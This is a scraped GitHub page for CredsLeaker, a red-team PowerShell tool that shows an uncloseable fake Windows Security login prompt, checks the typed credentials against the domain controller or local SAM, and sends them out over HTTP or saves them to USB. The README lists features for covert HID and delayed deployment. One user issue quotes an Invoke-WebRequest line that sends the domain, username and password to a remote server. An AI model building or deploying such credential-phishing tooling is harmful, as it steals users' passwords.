dviros / credsleaker Goto Github PK

Credsleaker allows an attacker to craft a highly convincing credentials prompt using Windows Security, validate it against the DC and in turn leak it via an HTTP request.

License: MIT License

PowerShell 70.87% Batchfile 3.47% C++ 11.81% Python 6.88% PHP 5.25% Common Lisp 1.73%

redteam credentials infosec powershell social-engineering

credsleaker's Introduction

CredsLeaker v4.x

A big shoutout to @ApSecDev who took this project to the next level!

Kudos!

This script used to display a powershell credentials box asked the user for credentials. However, That was highly noticeable. Now it's time to utilize Windows Security popup!

Features

AD domain authentication validation.
Tested on Windows 10 (1809, 1903, 1909) with Powershell version 5.1. Needs to be tested on 7\8\8.1\ Servers and different powershell versions.
Can be modified (title, message etc.).
Added WORKGROUP support (validation is done against the local SAM).
Added parameters support. Now you can customize the messages, captions, IP's and ports from the command line.

Feature Additions in this fork

Optimized for HID style scenerios
Export to USB/CSV
POST array and php handler for easy http customization
Pipeline and dynamic switching between USB and HTTP export
Timed delay for delayed deployment
Delayed delivery of leaked credentials if delivery option unaccessible
Config file to override default params pulled from USB first, Web second (if no USB). Pipeline option to override config file.
Config file fully editable via web form (config.php) so script can be run completely on the fly with no need to alter command line params.

The box cannot be closed (only by killing the process) and will keep on checking the credentials against the DC. If credentials fail at the DC, then they are checked against local SAM so that local accounts are leaked even if the machine is a domain member. When validated, it will close and process via chosen method.

How To:

Start a web server and upload cl_reader.php, config.php, config.cl to desired path
Fill out parameter defaults in CredsLeaker.ps1
Edit Pipeline parameters in run.bat to desired scenerio
Execute run.bat file.

Thanks:

To Dviros for a great script that I have learned a ton from! To all my friends that helped to craft this script (specially @deanf)

Legal

This software is provided for educational use only (also with redteamers in mind). Don't use credsleaker without mutual consent. If you engage in any illegal activity the author does not take any responsibility for it. By using this software you agree with these terms.

credsleaker's People

Contributors

Stargazers

Watchers

credsleaker's Issues

no loot files

i am supposed to get back a csv file in a new folder that I don't know its root, I don't get the csv file. I don't know if I am missing where to look, kindly help.

execution stop

windows keeps coming even when correct information is entered. anyway to workaround this?

It does not work for me

Hello, thanks for your script, I configured it, I was testing it but the data did not arrive

If I execute this, if I see that the data arrives to my web server

Invoke-WebRequest http://192.168.1.33:80/$CurrentDomain";"$username";"$password -Method Get
$password="hola"
$username="test"
$CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName

But when executing the bat, the data is simply not shown in the log (I have the ip and port well configured)
Thanks

Not working Powershell PickAsync() error

This gives me a powershell error related wiht the pickasync function. Please find out the cause as I need this.

Not validating credentials on Workgroup

I can type anything in username and passsword field and the window closes after that.It's not validating creds.The popup box should pop again if creds are wrong.

what should I change in code to fill username box with username?

@Dviros User just have to type password only.

Can we stack login prompt box on top of every window

@Dviros The System.Windows.Forms.dll has a property Form.TopMost to stack form box on top of every window but here we're calling Windows API and it does not provide any such property.Any way we can do this.

not wroking

hey, when i try to run the ps1 script, I get the following error:

Exception calling "PickAsync" with "1" argument(s): "Element not found. (Exception from HRESULT: 0x80070490)"
At C:\Users\winman\Desktop\leaker.ps1:69 char:9
$creds = Await ([Windows.Security.Credentials.UI.CredentialPi ...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CategoryInfo : NotSpecified: (:) [], MethodInvocationException
FullyQualifiedErrorId : Exception

what should I do?
Running on: windows 10, powershell 5.1.19041.1320